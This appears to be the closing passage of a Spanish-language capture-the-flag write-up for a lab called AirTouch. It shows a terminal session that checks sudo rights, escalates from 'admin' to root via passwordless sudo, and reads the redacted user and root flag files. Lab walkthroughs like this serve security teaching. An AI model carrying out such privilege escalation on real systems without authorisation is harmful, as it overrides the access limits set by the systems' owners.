admin@AirTouch-AP-MGT:~$ id
uid=1001(admin) gid=1001(admin) groups=1001(admin)
admin@AirTouch-AP-MGT:~$ sudo -l
Matching Defaults entries for admin on AirTouch-AP-MGT:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on AirTouch-AP-MGT:
(ALL) ALL
(ALL) NOPASSWD: ALL
admin@AirTouch-AP-MGT:~$ sudo -i
root@AirTouch-AP-MGT:~# id
uid=0(root) gid=0(root) groups=0(root)
Flags
Podemos recuperar la flag user.txt desde la máquina AirTouch-AP-PSK.
root@AirTouch-AP-PSK:~# cat /root/user.txt
<REDACTED>
Podemos recuperar la bandera root.txt desde la máquina AirTouch-AP-MGT.
root@AirTouch-AP-MGT:~# cat /root/root.txt
<REDACTED>